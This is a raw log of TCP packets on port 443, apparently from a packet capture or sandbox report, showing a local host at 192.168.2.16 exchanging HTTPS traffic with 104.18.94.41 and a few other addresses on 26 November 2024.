Nov 26, 2024 06:40:31.078727961 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:31.078743935 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:31.078785896 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:31.078807116 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:31.078821898 CET	443	49741	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:31.078829050 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:31.078862906 CET	49741	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:31.081115007 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:31.081161976 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:31.081270933 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:31.081490040 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:31.081500053 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:31.260005951 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:31.260103941 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:31.260201931 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:31.260428905 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:31.260466099 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.338032007 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.338342905 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:32.338366032 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.338696003 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.339015007 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:32.339072943 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.339154005 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:32.379327059 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.517365932 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.517708063 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:32.517736912 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.518069983 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.518505096 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:32.518580914 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.518651009 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:32.518695116 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:32.518737078 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.790184975 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.790230989 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.790263891 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.790292978 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:32.790298939 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.790309906 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.790354013 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:32.790361881 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.790409088 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:32.790420055 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.798398972 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.798474073 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:32.798484087 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.812982082 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.813071012 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:32.813076973 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.867908955 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:32.910553932 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.962806940 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:32.962816954 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.994966030 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.995011091 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.995033979 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:32.995042086 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:32.995091915 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.001208067 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.009146929 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.009253025 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.009259939 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.013756990 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.013808012 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.013843060 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.013859987 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.013881922 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.013925076 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.013933897 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.013941050 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.013998985 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.017107964 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.017169952 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.017175913 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.019929886 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.024893999 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.024955034 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.024960995 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.028420925 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.028485060 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.028492928 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.032727957 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.032785892 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.032793045 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.040687084 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.040767908 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.040776014 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.056128025 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.056224108 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.056344032 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.056359053 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.056425095 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.063900948 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.071440935 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.071521997 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.071527958 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.074790001 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.074800968 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.079247952 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.079309940 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.079322100 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.086877108 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.086947918 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.086954117 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.122807980 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.133821964 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.143174887 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.186784983 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.186810017 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.192578077 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.196105957 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.196209908 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.196218014 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.203960896 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.204030991 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.204036951 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.215449095 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.215521097 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.215543032 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.219187975 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.219269991 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.219276905 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.219343901 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.227296114 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.227363110 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.227377892 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.234461069 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.234468937 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.234530926 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.234536886 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.234586954 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.235268116 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.235335112 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.235342979 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.243298054 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.243341923 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.243355989 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.243365049 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.243427992 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.249784946 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.249805927 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.249844074 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.251255989 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.254945040 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.255012035 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.255018950 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.255068064 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.259386063 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.259444952 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.259462118 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.264965057 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.264971972 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.265028954 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.267334938 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.267395973 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.267404079 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.274909973 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.274972916 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.275285959 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.275337934 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.275347948 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.281752110 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.281805992 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.281812906 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.285228968 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.285293102 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.290287018 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.290354013 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.294625044 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.294683933 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.294693947 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.300126076 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.300205946 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.301070929 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.301126003 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.301132917 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.305118084 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.305176020 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.307543039 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.307598114 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.307604074 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.315093994 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.315149069 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.325124979 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.325184107 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.362802029 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.393507004 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.393578053 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.395971060 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.396035910 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.405770063 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.405831099 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.405838966 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.405852079 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.405910015 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.405930042 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.405944109 CET	443	49742	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.405955076 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.405988932 CET	49742	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.416779995 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.419079065 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.419188023 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.419187069 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.419213057 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.419270992 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.423753977 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.433372021 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.433379889 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.433440924 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.433463097 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.442723036 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.442756891 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.442819118 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.442826986 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.452061892 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.452135086 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.452145100 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.452203035 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.460886955 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.460896015 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.460963011 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.469975948 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.469984055 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.470043898 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.474581957 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.474589109 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.474659920 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.484272957 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.484281063 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.484355927 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.492628098 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.492701054 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.618154049 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.618247986 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.619885921 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.619961023 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.626987934 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.627064943 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.634042978 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.634115934 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.641235113 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.641309023 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.644928932 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.645001888 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.652102947 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.652170897 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.659207106 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.659264088 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.666301012 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.666368008 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.669888973 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.669943094 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.677082062 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.677139044 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.680715084 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.680785894 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.687994957 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.688052893 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.695005894 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.695065022 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.698564053 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.698616982 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.698623896 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.698637962 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.698672056 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.698693991 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.698703051 CET	443	49743	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.698735952 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.698788881 CET	49743	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.701428890 CET	49744	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.701457024 CET	443	49744	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.701584101 CET	49744	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.701828957 CET	49744	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:33.701844931 CET	443	49744	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:33.893553972 CET	443	49737	142.250.181.100	192.168.2.16
Nov 26, 2024 06:40:33.893627882 CET	443	49737	142.250.181.100	192.168.2.16
Nov 26, 2024 06:40:33.893804073 CET	49737	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:40:34.145215034 CET	49737	443	192.168.2.16	142.250.181.100
Nov 26, 2024 06:40:34.145245075 CET	443	49737	142.250.181.100	192.168.2.16
Nov 26, 2024 06:40:34.145538092 CET	49745	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:34.145597935 CET	443	49745	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:34.145698071 CET	49745	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:34.146522999 CET	49745	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:34.146538019 CET	443	49745	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:34.910983086 CET	443	49744	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:34.911304951 CET	49744	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:34.911335945 CET	443	49744	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:34.911714077 CET	443	49744	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:34.912229061 CET	49744	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:34.912300110 CET	443	49744	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:34.912391901 CET	49744	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:34.959328890 CET	443	49744	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:35.359293938 CET	443	49744	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:35.359395027 CET	443	49744	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:35.359464884 CET	49744	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:35.359920025 CET	49744	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:35.359944105 CET	443	49744	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:35.449701071 CET	443	49745	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:35.450012922 CET	49745	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:35.450041056 CET	443	49745	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:35.450396061 CET	443	49745	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:35.450695992 CET	49745	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:35.450757980 CET	443	49745	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:35.450881958 CET	49745	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:35.495327950 CET	443	49745	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:35.914902925 CET	443	49745	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:35.914990902 CET	443	49745	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:35.915050983 CET	49745	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:35.915064096 CET	443	49745	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:35.915132999 CET	49745	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:35.915575981 CET	49745	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:35.915600061 CET	443	49745	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:35.938486099 CET	49747	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:35.938522100 CET	443	49747	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:35.938608885 CET	49747	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:35.938822031 CET	49747	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:35.938833952 CET	443	49747	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:37.240897894 CET	443	49747	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:37.241203070 CET	49747	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:37.241230011 CET	443	49747	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:37.241561890 CET	443	49747	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:37.241864920 CET	49747	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:37.241924047 CET	443	49747	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:37.241992950 CET	49747	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:37.283340931 CET	443	49747	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:37.283632040 CET	443	49738	65.21.29.43	192.168.2.16
Nov 26, 2024 06:40:37.283704042 CET	443	49738	65.21.29.43	192.168.2.16
Nov 26, 2024 06:40:37.283786058 CET	49738	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:40:37.726713896 CET	443	49747	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:37.726800919 CET	443	49747	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:37.726866007 CET	49747	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:37.727834940 CET	49747	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:37.727855921 CET	443	49747	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:37.728605986 CET	49738	443	192.168.2.16	65.21.29.43
Nov 26, 2024 06:40:37.728677034 CET	443	49738	65.21.29.43	192.168.2.16
Nov 26, 2024 06:40:37.730851889 CET	49748	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:37.730886936 CET	443	49748	104.18.94.41	192.168.2.16
Nov 26, 2024 06:40:37.730958939 CET	49748	443	192.168.2.16	104.18.94.41
Nov 26, 2024 06:40:37.731158018 CET	49748	443	192.168.2.16	104.18.94.41
